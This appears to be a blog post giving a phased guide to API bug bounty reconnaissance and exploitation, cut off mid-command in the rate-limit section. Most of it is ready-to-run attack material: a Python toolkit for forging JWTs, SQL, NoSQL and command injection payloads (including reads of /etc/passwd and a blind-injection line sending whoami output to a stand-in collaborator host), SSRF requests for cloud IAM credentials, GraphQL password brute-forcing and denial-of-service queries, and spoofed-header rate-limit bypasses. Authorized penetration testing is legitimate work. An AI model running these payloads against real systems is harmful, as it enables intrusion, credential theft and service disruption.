DEV Community

Md Hehedi Hasan
Md Hehedi Hasan

Posted on

Mastery Hunt: Hidden API Endpoints — A Deep Dive into API Bug Bounty Recon & Exploitation

Authorization: This guide is for authorized penetration testing and bug bounty hunting only. All techniques should be performed against targets you have explicit written permission to test.


Table of Contents

  1. Phase 1: Surface Reconnaissance
  2. Phase 2: API Fingerprinting & Documentation Extraction
  3. Phase 3: Authentication & Authorization Bypass
  4. Phase 4: Injection Attacks on APIs
  5. Phase 5: GraphQL-Specific Attacks
  6. Phase 6: Rate Limit Testing & Business Logic Abuse
  7. Phase 7: Automation Pipeline
  8. Phase 8: Exploit Chaining
  9. Reporting Template
  10. OWASP API Security Top 10 Reference
  11. Tools Cheatsheet

Phase 1: Surface Reconnaissance — Finding the Attack Surface

1.1 Passive Reconnaissance

Wayback Machine & Archive Analysis

# Using gau (GetAllUrls) — passive URL gathering
gau --subs target.com | grep -E "\.json|\.xml|/api/|/v[0-9]/|/graphql|/rest/|/swagger|/docs" > api_endpoints.txt

# Waybackurls via waymore
waymore -i target.com -mode U -o U | grep -i api

# Using waybackurls
waybackurls target.com | grep -iE "api|rest|graphql|swagger|v[0-9]" | sort -u
Enter fullscreen mode Exit fullscreen mode

Google Dorking for Exposed APIs

site:target.com inurl:"/api/"
site:target.com inurl:"/v1/" | inurl:"/v2/" | inurl:"/v3/"
site:target.com intitle:"Swagger UI" | intitle:"API Documentation"
site:target.com intitle:"index of" "api"
site:target.com ext:json "swagger" | ext:yaml "openapi"
site:target.com "api_key" | "api-key" | "apikey" filetype:txt
site:target.com inurl:"/graphql" | inurl:"/graphiql"
site:target.com inurl:"/rest/v1" | inurl:"/rest/v2"
site:target.com "Access-Control-Allow-Origin: *"
site:target.com "X-Powered-By:" "Express" intitle:"API"
Enter fullscreen mode Exit fullscreen mode

Certificate Transparency Logs

# crt.sh — find subdomains with API-related names
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u | grep -iE "api|dev|staging|internal|gateway|admin|backend|sandbox|uat|edge|cdn|test|beta|v1|v2|v3|ws|websocket"

# Using certspotter
curl -s "https://certspotter.com/api/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names" | jq -r '.[].dns_names[]' | sort -u

# Using censys (requires API key)
# censys search "target.com" -f "parsed.names" | grep -i api
Enter fullscreen mode Exit fullscreen mode

Mobile App Reverse Engineering

# Android — decompile APK
apktool d app.apk -o decompiled
grep -r "https\?://" decompiled/ --include="*.smali" --include="*.xml" --include="*.json" | grep -i api | sort -u

# Android — using jadx for better decompilation
jadx app.apk -d jadx_output
grep -r "https\?://" jadx_output/ --include="*.java" | grep -iE "api|rest|graphql" | sort -u

# iOS — using objection for dynamic analysis
objection --gadget "com.target.app" explore
# inside objection:
# android hooking list classes | grep -i "api\|network\|request"
# ios hooking list classes | grep -i "api\|network\|request"

# iOS — static analysis with class-dump
class-dump -H Payload/Target.app/Target -o headers/
grep -r "https\?://" headers/ --include="*.h" | grep -i api
Enter fullscreen mode Exit fullscreen mode

JavaScript Source Analysis

# Collect JS files
gau --subs target.com | grep -E "\.js$" | sort -u > js_files.txt
waybackurls target.com | grep -E "\.js$" | sort -u >> js_files.txt

# Extract API endpoints from JS
cat js_files.txt | while read url; do
  curl -s "$url" | grep -oP '["'"'"']https?://[^"'"'"']*api[^"'"'"']*' | sort -u
done

# Using linkfinder
python3 linkfinder.py -i https://target.com/app.js -o cli | grep api

# Using jsubfinder
jsubfinder search -d target.com | grep -i api
Enter fullscreen mode Exit fullscreen mode

1.2 Active Reconnaissance

Subdomain Enumeration Focused on API Subdomains

# Subfinder + httpx
subfinder -d target.com -all -silent | httpx -silent -ports 80,443,8080,8443,9090,3000,5000,7000,8000 | tee live_subdomains.txt

# Filter for API-related subdomains
cat live_subdomains.txt | grep -iE "api|gateway|backend|internal|admin|dev|staging|uat|sandbox|edge|cdn|test|beta|stage|prod|corp|ops|services|service|ws|socket|webhook|cron|jobs|worker|queue|sync|async|data|analytics|metrics|monitor|status|health"

# Using amass for deeper enumeration
amass enum -d target.com -o amass_output.txt
cat amass_output.txt | grep -iE "api|gateway|internal|admin|dev" | sort -u

# DNS brute force with custom API subdomain wordlist
puredns bruteforce /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt target.com | grep -iE "api|gateway|internal|admin|dev|staging|uat|sandbox|edge|cdn|test|beta|stage|prod|corp|ops"
Enter fullscreen mode Exit fullscreen mode

Directory / Endpoint Bruteforcing

# Common API paths
ffuf -u https://api.target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common-api-endpoints.txt -mc all -fs 0 -fc 404

# API version enumeration
ffuf -u https://api.target.com/FUZZ -w <(echo -e "v1\nv2\nv3\nv4\nv1.0\nv2.0\nlatest\nstable\nalpha\nbeta\ndev\nstaging\ntest") -mc 200,301,302,403,401

# GraphQL discovery
ffuf -u https://api.target.com/FUZZ -w <(echo -e "graphql\ngraph\ngraphiql\nv1/graphql\nv2/graphql\napi/graphql\nquery\nmutations\nsubscriptions\nplayground\ngraphql/console") -mc 200,301,302,403

# Swagger/OpenAPI docs
ffuf -u https://api.target.com/FUZZ -w <(echo -e "swagger.json\nswagger.yaml\napi-docs\nopenapi.json\nopenapi.yaml\ndocs\nv2/swagger.json\nv3/api-docs\n/swagger-resources\n/swagger-ui.html\n/redoc\n/docs/api\n/api/documentation") -mc 200,301,302,403

# Recursive directory fuzzing on API endpoints
ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api-endpoints-resolvers.txt -recursion -recursion-depth 2 -mc all -fc 404
Enter fullscreen mode Exit fullscreen mode

Parameter Discovery

# Arjun — parameter discovery
arjun -u https://api.target.com/v1/users --get
arjun -u https://api.target.com/v1/login --post

# Paramspider
paramspider -d target.com --subs --exclude woff,css,js,png,svg,jpg

# x8 — hidden parameter fuzzer (more thorough than Arjun)
x8 -u https://api.target.com/v1/users -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

# Custom parameter bruteforce with ffuf
ffuf -u https://api.target.com/v1/users?FUZZ=test \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -H "Authorization: Bearer $TOKEN" \
  -mc all -fc 400,404 -fs 0
Enter fullscreen mode Exit fullscreen mode

Phase 2: API Fingerprinting & Documentation Extraction

2.1 Identify API Type & Protocol

# Check response headers for API identification
curl -sI https://api.target.com/v1/users

# Look for:
# X-Powered-By: Express / ASP.NET / Flask / Django / etc.
# Server: nginx / apache / cloudflare / etc.
# Content-Type: application/json / application/xml / text/graphql
# Access-Control-Allow-Origin
# X-RateLimit-*
# X-API-Key-Required

# Check for RESTful patterns
curl -s https://api.target.com/v1/users | head -50
curl -s https://api.target.com/v1/users/1 | head -50

# Check for GraphQL
curl -s https://api.target.com/graphql -X POST -H "Content-Type: application/json" -d '{"query":"{ __typename }"}'

# Check for SOAP
curl -s https://api.target.com/soap -X POST -H "Content-Type: text/xml" -d '<?xml version="1.0"?><soap:Envelope><soap:Body/></soap:Envelope>'

# Check for gRPC (HTTP/2 required)
curl -sI --http2 https://api.target.com:50051

# Check for WebSocket
curl -sI -H "Upgrade: websocket" -H "Connection: Upgrade" https://api.target.com/socket
Enter fullscreen mode Exit fullscreen mode

2.2 Extract Full API Documentation

Swagger / OpenAPI Endpoints

# Common paths — comprehensive list
for path in \
  /swagger.json \
  /swagger.yaml \
  /api/swagger.json \
  /api/swagger.yaml \
  /api/v1/swagger.json \
  /api/v2/swagger.json \
  /v1/swagger.json \
  /v2/swagger.json \
  /v3/swagger.json \
  /swagger-resources \
  /swagger-ui.html \
  /api-docs \
  /v2/api-docs \
  /v3/api-docs \
  /openapi.json \
  /openapi.yaml \
  /docs \
  /redoc \
  /api/documentation \
  /documentation \
  /api/docs \
  /api/v1/docs \
  /api/v2/docs \
  /api/v3/docs; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://api.target.com$path")
  echo "$status - https://api.target.com$path"
done

# Download and parse
curl -s https://api.target.com/swagger.json | jq '.paths' | head -100

# Convert to Postman collection for testing
curl -s https://api.target.com/swagger.json | npx swagger-to-postman > collection.json

# Extract all endpoints from OpenAPI spec
curl -s https://api.target.com/openapi.json | jq -r '.paths | to_entries[] | .key as $path | .value | to_entries[] | "\(.key | ascii_upcase) \($path)"' | sort
Enter fullscreen mode Exit fullscreen mode

GraphQL Introspection

# Standard introspection query
curl -s https://api.target.com/graphql \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name fields{name type{name kind}}}}}"}'

# Full introspection query
curl -s https://api.target.com/graphql \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { __schema { types { name kind fields { name type { name kind ofType { name kind } } } } queryType { fields { name args { name type { name kind } } } } mutationType { fields { name args { name type { name kind } } } } } }"
  }' | jq .

# Using InQL (Burp extension or standalone)
python3 inql -t https://api.target.com/graphql -d

# Using graphw00f for fingerprinting
graphw00f -d https://api.target.com/graphql

# Using clairvoyance when introspection is disabled
clairvoyance https://api.target.com/graphql -o schema.json

# Using GraphQLmap for interactive testing
python3 graphqlmap.py -u https://api.target.com/graphql
Enter fullscreen mode Exit fullscreen mode

2.3 HTTP Method Fuzzing

# Fuzz all methods on discovered endpoints
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE CONNECT; do
  status=$(curl -X "$method" -s -o /dev/null -w "%{http_code}" "https://api.target.com/v1/users")
  echo "$status - $method"
done

# Automated with ffuf
ffuf -u https://api.target.com/v1/users \
  -X FUZZ \
  -w <(echo -e "GET\nPOST\nPUT\nPATCH\nDELETE\nOPTIONS\nHEAD\nTRACE") \
  -mc all -fc 404,405,400

# Check for CORS misconfigurations
curl -sI https://api.target.com/v1/users -H "Origin: https://evil.com" | grep -i "access-control"

# OPTIONS method to see allowed methods
curl -s -X OPTIONS https://api.target.com/v1/users -I | grep -i allow
Enter fullscreen mode Exit fullscreen mode

Phase 3: Authentication & Authorization Bypass Techniques

3.1 Authentication Bypass Vectors

Missing or Weak Auth on Hidden Endpoints

# Compare authenticated vs unauthenticated access
curl -s https://api.target.com/v1/admin/users -H "Authorization: Bearer $TOKEN" | head -50
curl -s https://api.target.com/v1/admin/users  # No token — what happens?

# Test with empty token
curl -s https://api.target.com/v1/admin/users -H "Authorization: Bearer "

# Test with null token
curl -s https://api.target.com/v1/admin/users -H "Authorization: null"

# Test with arbitrary token
curl -s https://api.target.com/v1/admin/users -H "Authorization: Bearer test123"

# Test without auth header at all
curl -s https://api.target.com/v1/admin/users

# Test with different auth schemes
curl -s https://api.target.com/v1/admin/users -H "Authorization: Basic YWRtaW46YWRtaW4="
curl -s https://api.target.com/v1/admin/users -H "X-API-Key: admin"
curl -s https://api.target.com/v1/admin/users -H "API-Key: admin"
curl -s https://api.target.com/v1/admin/users -H "X-Token: admin"
Enter fullscreen mode Exit fullscreen mode

JWT Manipulation

#!/usr/bin/env python3
"""
JWT manipulation toolkit for API testing
"""
import jwt
import requests
import json
import base64

# Technique 1: Set algorithm to 'none'
def jwt_none_bypass(payload):
    """Set alg to 'none' — works on poorly validated JWTs"""
    headers_variants = [
        {"alg": "none", "typ": "JWT"},
        {"alg": "None", "typ": "JWT"},
        {"alg": "NONE", "typ": "JWT"},
        {"alg": "nOnE", "typ": "JWT"},
        {"alg": "none", "typ": "JWT", "kid": ""},
    ]
    tokens = []
    for header in headers_variants:
        try:
            token = jwt.encode(payload, "", algorithm="none", headers=header)
            tokens.append(token)
        except:
            # Some libraries don't allow 'none'
            # Manual encoding fallback
            encoded_header = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
            encoded_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
            token = f"{encoded_header}.{encoded_payload}."
            tokens.append(token)
    return tokens

# Technique 2: RS256 → HS256 algorithm confusion
def jwt_alg_confusion(public_key_path, payload):
    """
    If the server uses RS256 but accepts HS256,
    sign with the PUBLIC key (which is known) as HMAC secret
    """
    with open(public_key_path, "r") as f:
        public_key = f.read()
    forged = jwt.encode(payload, public_key, algorithm="HS256")
    return forged

# Technique 3: JWK injection (CVE-2018-0114)
def generate_jwk_injection(payload, private_key_pem, public_key_pem):
    """
    Craft a JWT that includes a malicious JWK in the header.
    If the server trusts the embedded JWK, it validates against YOUR key.
    """
    from cryptography.hazmat.primitives import serialization
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.hazmat.backends import default_backend

    # Load your RSA key
    private_key = serialization.load_pem_private_key(
        private_key_pem.encode(),
        password=None,
        backend=default_backend()
    )

    public_key = private_key.public_key()
    public_numbers = public_key.public_numbers()

    # Convert to base64url
    n = base64.urlsafe_b64encode(public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode()
    e = base64.urlsafe_b64encode(public_numbers.e.to_bytes((public_numbers.e.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode()

    jwk = {
        "kty": "RSA",
        "n": n,
        "e": e,
        "alg": "RS256"
    }

    headers = {
        "alg": "RS256",
        "typ": "JWT",
        "jwk": jwk
    }

    forged = jwt.encode(payload, private_key_pem, algorithm="RS256", headers=headers)
    return forged

# Technique 4: Kid injection (directory traversal / SQL injection)
def kid_injection(payload, injection_payload="../../dev/null"):
    """
    kid: "../../dev/null" means empty signature validation
    kid: "/proc/sys/kernel/random/uuid" for DoS testing
    kid: "keyfile|../../etc/passwd" for command injection
    """
    headers = {
        "alg": "HS256",
        "typ": "JWT",
        "kid": injection_payload
    }
    forged = jwt.encode(payload, "", algorithm="HS256", headers=headers)
    return forged

# Technique 5: Expired token acceptance
def test_expired_token(token):
    """Test if expired tokens are still accepted"""
    decoded = jwt.decode(token, options={"verify_exp": False})
    # Modify exp to past date
    import time
    decoded["exp"] = int(time.time()) - 3600  # 1 hour ago
    headers = jwt.get_unverified_header(token)
    forged = jwt.encode(decoded, "", algorithm=headers.get("alg", "HS256"), headers=headers)
    return forged

# Technique 6: Sub claim manipulation (vertical privilege escalation)
def escalate_privilege(token, target_role="admin"):
    """Modify the 'sub', 'role', or custom claims for privilege escalation"""
    decoded = jwt.decode(token, options={"verify_exp": False})
    headers = jwt.get_unverified_header(token)

    # Common privilege claims
    privilege_claims = ["role", "roles", "is_admin", "admin", "privilege", "privileges",
                        "permissions", "scope", "scopes", "group", "groups", "type", "user_type",
                        "account_type", "access_level", "level", "tier", "plan"]

    for claim in privilege_claims:
        if claim in decoded:
            decoded[claim] = target_role if isinstance(decoded[claim], str) else [target_role]

    # Also try adding privileged claims
    decoded["role"] = "admin"
    decoded["is_admin"] = True
    decoded["permissions"] = ["*", "admin", "read:all", "write:all"]

    return jwt.encode(decoded, token.split('.')[0], algorithm=headers.get("alg", "HS256"), headers=headers)

# Technique 7: Key ID (kid) with SQL injection
def kid_sql_injection(payload):
    """If kid is used in a SQL query, inject SQL"""
    headers = {
        "alg": "HS256",
        "typ": "JWT",
        "kid": "' UNION SELECT '1' -- "
    }
    forged = jwt.encode(payload, "1", algorithm="HS256", headers=headers)
    return forged
Enter fullscreen mode Exit fullscreen mode

Using jwt_tool

# Using jwt_tool for comprehensive JWT testing
python3 jwt_tool.py $TOKEN -T  # Tamper with token
python3 jwt_tool.py $TOKEN -X a  # Algorithm 'none' attack
python3 jwt_tool.py $TOKEN -X c  # Algorithm confusion (RS256→HS256)
python3 jwt_tool.py $TOKEN -X i  # Inject JWK
python3 jwt_tool.py $TOKEN -X k  # Kid injection
python3 jwt_tool.py $TOKEN -X e  # Exploit expired token

# Scan for JWT vulnerabilities
python3 jwt_tool.py -t "https://api.target.com/v1/endpoint" -rc "Authorization: Bearer $TOKEN"
Enter fullscreen mode Exit fullscreen mode

API Key Leakage via Referer / Origin / Path

# Check if API keys leak in referer headers
curl -s https://api.target.com/v1/endpoint \
  -H "Referer: https://api.target.com/v1/users?api_key=test123"

# Check if API keys are accepted in URL parameters
curl -s "https://api.target.com/v1/users?api_key=test123"
curl -s "https://api.target.com/v1/users?key=test123"
curl -s "https://api.target.com/v1/users?token=test123"
curl -s "https://api.target.com/v1/users?access_token=test123"

# Check if API key works in headers
curl -s https://api.target.com/v1/users \
  -H "X-API-Key: test123"
curl -s https://api.target.com/v1/users \
  -H "API-Key: test123"
curl -s https://api.target.com/v1/users \
  -H "X-Api-Key: test123"
curl -s https://api.target.com/v1/users \
  -H "X-APIKEY: test123"
Enter fullscreen mode Exit fullscreen mode

3.2 Authorization Testing — IDOR & BOLA

# Sequential ID enumeration
for id in $(seq 1 100); do
  response=$(curl -s "https://api.target.com/v1/users/$id")
  email=$(echo "$response" | jq -r '.email // empty' 2>/dev/null)
  if [ -n "$email" ]; then
    echo "User $id: $email"
  fi
done

# UUID enumeration (less likely but test)
ffuf -u https://api.target.com/v1/orders/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -H "Authorization: Bearer $TOKEN" \
  -mc 200,403,401

# Mass IDOR via parameter pollution
curl -s "https://api.target.com/v1/invoices?id=1&id=2&id=3"
curl -s "https://api.target.com/v1/invoices?id[]=1&id[]=2&id[]=3"

# Test IDOR on different object types
for object in users orders invoices payments tickets messages comments posts profiles accounts transactions; do
  for id in 1 2 3; do
    curl -s "https://api.target.com/v1/$object/$id" \
      -H "Authorization: Bearer $TOKEN" | jq '. | select(. != null)'
  done
done

# IDOR via path traversal in object reference
curl -s "https://api.target.com/v1/orders/../users/1"
curl -s "https://api.target.com/v1/orders/..%2Fusers%2F1"

# Test for wildcard object references
curl -s "https://api.target.com/v1/users/*"
curl -s "https://api.target.com/v1/users/all"
curl -s "https://api.target.com/v1/users/%00"
Enter fullscreen mode Exit fullscreen mode

Mass Assignment Testing

# Test for mass assignment on POST/PUT endpoints
curl -X PUT https://api.target.com/v1/users/me \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{
    "name": "test",
    "role": "admin",
    "is_admin": true,
    "is_verified": true,
    "is_active": true,
    "balance": 999999999,
    "email_verified": true,
    "account_status": "active",
    "tier": "enterprise",
    "permissions": ["*"],
    "credits": 999999,
    "plan": "premium",
    "subscription": "unlimited",
    "admin": true,
    "privileged": true
  }'

# Test mass assignment on POST endpoints
curl -X POST https://api.target.com/v1/users \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{
    "email": "attacker@test.com",
    "password": "Password123!",
    "role": "admin",
    "is_admin": true,
    "admin": true,
    "privileged": true
  }'

# Test mass assignment via URL parameters
curl -X POST "https://api.target.com/v1/users?role=admin&is_admin=true"
Enter fullscreen mode Exit fullscreen mode

Broken Function Level Authorization (BFLA)

# Vertical privilege escalation — lower privilege user accessing admin functions
# Replace user role token and test admin endpoints
curl -s https://api.target.com/v1/admin/users \
  -H "Authorization: Bearer $(cat low_priv_token.txt)"

# Test all admin endpoints with low-priv token
for endpoint in admin manage dashboard config settings system logs metrics reports users roles permissions audit; do
  for action in users config logs settings metrics reports; do
    curl -s "https://api.target.com/v1/$endpoint/$action" \
      -H "Authorization: Bearer $(cat low_priv_token.txt)"
  done
done

# Test HTTP method override for privilege escalation
curl -s https://api.target.com/v1/users \
  -H "Authorization: Bearer $(cat low_priv_token.txt)" \
  -H "X-HTTP-Method-Override: DELETE"

# Test hidden admin parameters
curl -s "https://api.target.com/v1/users?admin=true"
curl -s "https://api.target.com/v1/users?isAdmin=true"
curl -s "https://api.target.com/v1/users?debug=true"
Enter fullscreen mode Exit fullscreen mode

Phase 4: Injection Attacks on APIs

4.1 SQL Injection in API Parameters

# Classic SQLi in API
curl -s "https://api.target.com/v1/users?id=1' OR '1'='1"
curl -s "https://api.target.com/v1/users?id=1' OR '1'='1'--"
curl -s "https://api.target.com/v1/users?id=1' UNION SELECT @@version--"
curl -s "https://api.target.com/v1/users?id=1 UNION SELECT 1,2,3,4,5,@@version,7,8,9,10"

# Time-based blind SQLi
curl -s "https://api.target.com/v1/users?id=1' WAITFOR DELAY '00:00:05'--"
curl -s "https://api.target.com/v1/users?id=1' AND SLEEP(5)--"

# Error-based SQLi
curl -s "https://api.target.com/v1/users?id=1' AND 1=CONVERT(int,@@version)--"

# JSON-based SQLi
curl -X POST https://api.target.com/v1/search \
  -H "Content-Type: application/json" \
  -d '{"query": "test' OR '1'='1"}'
curl -X POST https://api.target.com/v1/search \
  -H "Content-Type: application/json" \
  -d '{"query": "test' UNION SELECT @@version--"}'

# SQLi in nested JSON
curl -X POST https://api.target.com/v1/search \
  -H "Content-Type: application/json" \
  -d '{"filters": {"id": "1' OR '1'='1"}}'

# SQLi in array parameters
curl -s "https://api.target.com/v1/users?ids[]=1&ids[]=2' OR '1'='1"
Enter fullscreen mode Exit fullscreen mode

NoSQL Injection (MongoDB)

# NoSQL Injection — login bypass
curl -X POST https://api.target.com/v1/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": ""}}'

# NoSQL injection — extract data with $regex
curl -X POST https://api.target.com/v1/users \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$ne": ""}}'

# NoSQL injection — boolean-based
curl -s "https://api.target.com/v1/users?username[$ne]=nonexistent&password[$ne]=nonexistent"

# NoSQL injection — $where operator
curl -X POST https://api.target.com/v1/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "sleep(5000)"}'

# NoSQL injection — $gt operator for data extraction
curl -s "https://api.target.com/v1/users?created_at[$gt]=2020-01-01"
Enter fullscreen mode Exit fullscreen mode

4.2 Command Injection

# Command injection in API parameters
curl -s "https://api.target.com/v1/utils/ping?host=127.0.0.1;id"
curl -s "https://api.target.com/v1/utils/ping?host=127.0.0.1|id"
curl -s "https://api.target.com/v1/utils/ping?host=127.0.0.1$(id)"
curl -s "https://api.target.com/v1/utils/ping?host=`id`"
curl -s "https://api.target.com/v1/exports?format=csv;cat /etc/passwd"
curl -s "https://api.target.com/v1/exports?format=csv|cat /etc/passwd"

# Blind command injection with out-of-band detection
curl -s "https://api.target.com/v1/convert?file=/tmp/test|curl http://COLLABORATOR.net/$(whoami)"
curl -s "https://api.target.com/v1/convert?file=/tmp/test||curl http://COLLABORATOR.net/$(hostname)"

# Command injection in headers
curl -s https://api.target.com/v1/upload \
  -H "User-Agent: test';id;'" \
  -H "X-Forwarded-For: 127.0.0.1;id;"

# Command injection in JSON body
curl -X POST https://api.target.com/v1/process \
  -H "Content-Type: application/json" \
  -d '{"file": "test.txt; id"}'

# Command injection via filename upload
curl -X POST https://api.target.com/v1/upload \
  -F "file=@test.txt;filename=test.txt;id;.txt"
Enter fullscreen mode Exit fullscreen mode

4.3 SSRF (Server-Side Request Forgery)

# Basic SSRF
curl -s "https://api.target.com/v1/proxy?url=http://169.254.169.254/latest/meta-data/"
curl -s "https://api.target.com/v1/proxy?url=http://127.0.0.1:8080/admin"
curl -s "https://api.target.com/v1/avatar?url=http://127.0.0.1:8080/admin"

# Blind SSRF via Collaborator
curl -s "https://api.target.com/v1/webhook?url=http://COLLABORATOR.net/test"

# SSRF via cloud metadata endpoints
curl -s "https://api.target.com/v1/import?url=http://169.254.169.254/"  # AWS
curl -s "https://api.target.com/v1/import?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"  # AWS IAM
curl -s "https://api.target.com/v1/import?url=http://metadata.google.internal/"  # GCP
curl -s "https://api.target.com/v1/import?url=http://metadata.google.internal/computeMetadata/v1/project/project-id"  # GCP
curl -s "https://api.target.com/v1/import?url=http://100.100.100.200/latest/meta-data/"  # Alibaba
curl -s "https://api.target.com/v1/import?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01"  # Azure

# SSRF via redirect
curl -s "https://api.target.com/v1/avatar?url=http://redirect.com/to=http://169.254.169.254/"

# SSRF via DNS rebinding
curl -s "https://api.target.com/v1/avatar?url=http://1e100.net/"  # Google — may bypass allowlists

# SSRF via protocol smuggling
curl -s "https://api.target.com/v1/avatar?url=http://127.0.0.1:8080@evil.com/"
curl -s "https://api.target.com/v1/avatar?url=http://evil.com#@127.0.0.1:8080/"
curl -s "https://api.target.com/v1/avatar?url=http://evil.com\@127.0.0.1:8080/"

# SSRF — port scan internal network
for port in 80 443 3000 5000 6379 8000 8080 8443 9000 9200 27017 5432 3306 22 21 25 110 143 389 636 1433 1521 1830 4444 5000 5555 5601 5672 5984 6379 6443 7077 8000 8443 8983 9090 9200 9300 9999 11211 15672 27017; do
  status=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 3 \
    "https://api.target.com/v1/proxy?url=http://127.0.0.1:$port/")
  echo "Port $port: $status"
done

# SSRF — file read via file:// protocol
curl -s "https://api.target.com/v1/avatar?url=file:///etc/passwd"
curl -s "https://api.target.com/v1/avatar?url=file:///proc/1/environ"
curl -s "https://api.target.com/v1/avatar?url=file:///proc/net/fib_trie"

# SSRF — internal service discovery
for service in internal-admin.target.internal admin.target.internal db.target.internal redis.target.internal jenkins.target.internal gitlab.target.internal; do
  curl -s "https://api.target.com/v1/proxy?url=http://$service:8080/"
done
Enter fullscreen mode Exit fullscreen mode

Phase 5: GraphQL-Specific Attacks

5.1 Introspection & Schema Extraction

# InQL scanner
inql -t https://api.target.com/graphql -d

# Clairvoyance — introspection even when blocked
clairvoyance https://api.target.com/graphql -o schema.json

# GraphQL map
python3 graphqlmap.py -u https://api.target.com/graphql

# Manual introspection when standard query is blocked
# Try sending introspection with different content types
curl -s https://api.target.com/graphql \
  -X POST \
  -H "Content-Type: application/graphql" \
  -d '{ __schema { types { name kind fields { name } } } }'

# Try introspection via GET request
curl -s "https://api.target.com/graphql?query={__schema{types{name}}}"

# Try with different Accept headers
curl -s https://api.target.com/graphql \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -d '{"query": "query{__schema{types{name}}}"}'
Enter fullscreen mode Exit fullscreen mode

5.2 Batching & Rate Limit Bypass

# Batch login bruteforce — single request, many passwords
curl -s https://api.target.com/graphql \
  -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query": "mutation { login(username: \"admin\", password: \"password1\") { token } }"},
    {"query": "mutation { login(username: \"admin\", password: \"password2\") { token } }"},
    {"query": "mutation { login(username: \"admin\", password: \"password3\") { token } }"},
    {"query": "mutation { login(username: \"admin\", password: \"password4\") { token } }"},
    {"query": "mutation { login(username: \"admin\", password: \"password5\") { token } }"},
    {"query": "mutation { login(username: \"admin\", password: \"password6\") { token } }"},
    {"query": "mutation { login(username: \"admin\", password: \"password7\") { token } }"},
    {"query": "mutation { login(username: \"admin\", password: \"password8\") { token } }"},
    {"query": "mutation { login(username: \"admin\", password: \"password9\") { token } }"},
    {"query": "mutation { login(username: \"admin\", password: \"password10\") { token } }"}
  ]'

# Generate 100 batch requests
python3 -c "
import json, requests
queries = []
for i in range(100):
    queries.append({'query': f'mutation {{ login(username: \"admin\", password: \"password{i}\") {{ token }} }}'})
print(json.dumps(queries))
" > batch_queries.json

curl -s https://api.target.com/graphql \
  -X POST \
  -H "Content-Type: application/json" \
  -d @batch_queries.json
Enter fullscreen mode Exit fullscreen mode

5.3 Deep Query & Nested Abuse

# Circular query — cause DoS via deep nesting
query {
  user(id: 1) {
    posts {
      comments {
        user {
          posts {
            comments {
              user {
                posts {
                  comments {
                    user {
                      posts {
                        comments {
                          user {
                            name
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

5.4 Field Duplication & Resource Exhaustion

# Field duplication abuse
query {
  __typename
  __typename
  __typename
  __typename
  user(id: 1) {
    name
    name
    name
    email
    email
    email
    email
    email
    posts {
      title
      title
      title
      title
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

5.5 GraphQL Injection

# SQL injection in GraphQL
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ user(id: \"1' OR '1'='1\") { id email password } }"}'

# NoSQL injection in GraphQL
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ login(username: \"admin\", password: \"{\\$ne: \\\"\\\"}\") { token } }"}'

# GraphQL argument injection
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "query { user(id: 1) { id email } }", "variables": {"id": "1 UNION SELECT 1,2,3"}}'
Enter fullscreen mode Exit fullscreen mode

5.6 GraphQL DoS — Aliases

# Alias-based resource exhaustion
query {
  a1: user(id: 1) { id name email }
  a2: user(id: 1) { id name email }
  a3: user(id: 1) { id name email }
  a4: user(id: 1) { id name email }
  a5: user(id: 1) { id name email }
  # ... up to thousands of aliases
}
Enter fullscreen mode Exit fullscreen mode

Phase 6: Rate Limit Testing & Business Logic Abuse

6.1 Rate Limit Bypass Techniques

# Technique 1: Header manipulation
curl -s https://api.target.com/v1/forgot-password \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"victim@test.com"}' \
  -H "X-Forwarded-For: 127.0.0.1"

curl -s https://api.target.com/v1/forgot-password \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"victim@test.com"}' \
  -H "X-Forwarded-For: 127.0.0.2"

# Try all common IP spoofing headers
for ip in "127.0.0.1" "10.0.0.1" "192.168.1.1" "0.0.0.0" "1.2.3.4"; do
  curl -s https://api.target.com/v1/forgot-password \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"email":"victim@test.com"}' \
    -H "X-Forwarded-For: $ip" \
    -H "X-Real-IP: $ip" \
    -H "X-Originating-IP: $ip" \
    -H "X-Remote-IP: $ip" \
    -H "X-Client-IP: $ip" \
    -H "Forwarded: for=$ip"
done

# Technique 2: Method alternation
# If POST is rate-limited, try PATCH or PUT
curl -X PATCH https://api.target.com/v1/forgot-password \
  -H "Content-Type: application/json" \
